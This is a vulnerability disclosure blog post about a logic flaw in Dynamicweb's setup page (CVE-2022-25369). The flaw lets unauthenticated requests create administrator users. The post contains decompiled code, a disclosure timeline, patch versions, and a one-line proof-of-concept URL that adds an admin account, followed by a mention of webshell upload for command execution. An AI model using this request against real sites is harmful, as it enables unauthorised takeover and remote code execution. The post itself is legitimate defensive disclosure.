Logic Flaw Leading to RCE in Dynamicweb 9.5.0 - 9.12.7

Feb 20, 2022

 

The advisory for this issue can be found here.

The CVE for this issue is CVE-2022-25369.

This security research was performed by Shubham Shah.


Introduction

When auditing enterprise applications, it’s important to not only focus on concrete vulnerability classes, but also on logic flaws which may have significant impact if exploited.

Many enterprise web applications contain a setup flow which is only supposed to be triggered when first running the software. These setup flows enable sensitive functionalities such as configuring the database or users.

When performing analysis on these setup flows, it should be confirmed whether or not these flows cannot be triggered after the setup phase has been completed.

In the case of Dynamicweb, it was possible to trigger the code path which was used by the setup flow to add a new administrator user to the system. After the user was added, it was possible to upload an ASPX webshell to achieve command execution.


What is Dynamicweb?

Per Dynamicweb’s marketing materials:

Dynamicweb offers a cloud based eCommerce suite. Dynamicweb enables customers to deliver better digital customer experiences and to scale ecommerce success through our Content Management, Digital Marketing, Ecommerce, and Product Information Management solutions.


Code Analysis

We found that the endpoint /Admin/Access/Setup/Default.aspx could be reached without being redirected to authentication under certain conditions.

Mapping this back to the source code, we found the following file and snippet of code:

Dynamicweb.Admin/Dynamicweb/Admin/_Default3.cs

protected void Page_Load(object sender, EventArgs e)
{
	string text = Dynamicweb.Context.Current.Request["Action"];
	if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
	{
		base.Response.Redirect("/Admin");
	}
	if (!string.IsNullOrEmpty(text))
	{
		Dynamicweb.Content.Management.Setup.HandleAction(text);
	}

Can you spot the logic flaw above?

The logic flaw exists here:

if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())

If you read through the code block carefully, you will realise that this condition will not be true as long as the text variable is populated with any content. The text variable is derived from the Action parameter.

The && should actually be ||.

Since this is controlled by the user, we were able to effectively bypass the controls preventing the setup steps to be ran again.

The Action provided then gets passed to Dynamicweb.Content.Management.Setup.HandleAction(text);.

When looking at the code for HandleAction we found the following:

internal static void HandleAction(string action)
		{
			ActionResult actionResult = null;
			IsSetupCompleted = false;
			switch (action)
			{
			case "copyfiles":
				if (Context.Current.Request.GetBoolean("mapToExistingFolder"))
				{
					string @string = Context.Current.Request.GetString("filespath");
					... omitted for brevity ...
			case "tryconnectdatabase":
				actionResult = CanConnectToDatabase(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
				if (!actionResult.Success)
				{
					actionResult = CanConnectToDatabaseServer(Context.Current.Request["server"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
				}
				break;
			case "setdatabasesettings":
				actionResult = SetupDatabaseSettings(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request.GetBoolean("integrated"), Context.Current.Request.GetBoolean("azure"), Context.Current.Request.GetBoolean("createazuredatabase"), Context.Current.Request["connectionString"]);
				break;
			case "createschema":
				actionResult = SetupDatabaseSchemaAndData(Context.Current.Request.GetBoolean("createazuredatabase"));
				break;
			case "createadministrator":
				actionResult = SetupAdministrator(Context.Current.Request["adminusername"], Context.Current.Request["adminpassword"], Context.Current.Request["adminemail"], Context.Current.Request["adminname"]);
				break;
			case "endsetup":
				IsSetupCompleted = true;
					... omitted for brevity ...
			MakeResponse(actionResult);
		}

From reading the code above, we can see that the following operations are possible after bypassing authentication:

  • Copying files
  • Connecting to a database
  • Setting database configuration
  • Creating schemas
  • Creating an administrator user

The most impactful exploit vector was to add a new administrator user and then upload an ASPX webshell once authentication to the administrator panel. Uploading a webshell is left as an exercise for the reader.


PoC

https://target.com/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=admin1&adminpassword=admin1&[email protected]&adminname=test

The above URL will add a new administrator user with the username admin1 and the password admin1. Once authenticated to the administrator panel, it is possible to upload a web shell and achieve command execution.


Vendor Response

Dynamicweb dealt with these issues seriously, and we appreciated their efforts in remediating this vulnerability and corresponding with us.

We reported this issue to Dynamicweb on the Jan 21st, 2022.

The timeline for this disclosure process can be found below:

  • Jan 21st, 2022: Disclosure of pre-auth bug to add admin user
  • Jan 21st, 2022: Confirmation and fix information from Dynamicweb CTO
  • Jan 24th, 2022: Fixes rolled out to Dynamicweb customers
  • Feb 24th, 2022: Published advisory and blog post

Remediation Advice

Hotfixed versions that contain a fix can be found below:

  • Dynamicweb 9.5.9
  • Dynamicweb 9.6.16
  • Dynamicweb 9.7.8
  • Dynamicweb 9.8.11
  • Dynamicweb 9.9.
  • Dynamicweb 9.10.18
  • Dynamicweb 9.12.8
  • Dynamicweb 9.13.0+

Please upgrade to one of these hotfixed versions as soon as possible.


Conclusion

The vulnerability discovered in this blog post was first present in a release of Dynamicweb from August, 2018. When auditing enterprise software, it’s important to understand the context and logic behind certain administrative actions, such as running the setup phase again. Focusing on these areas can lead to critical findings like the one disclosed in this blog post. Logic flaws can often be left undetected by tools, however can still have a great security impact.

As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.

Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.

Customers of our Attack Surface Management platform were the first to know of this vulnerability and others like it. If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.

Assetnote Is Hiring!

If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.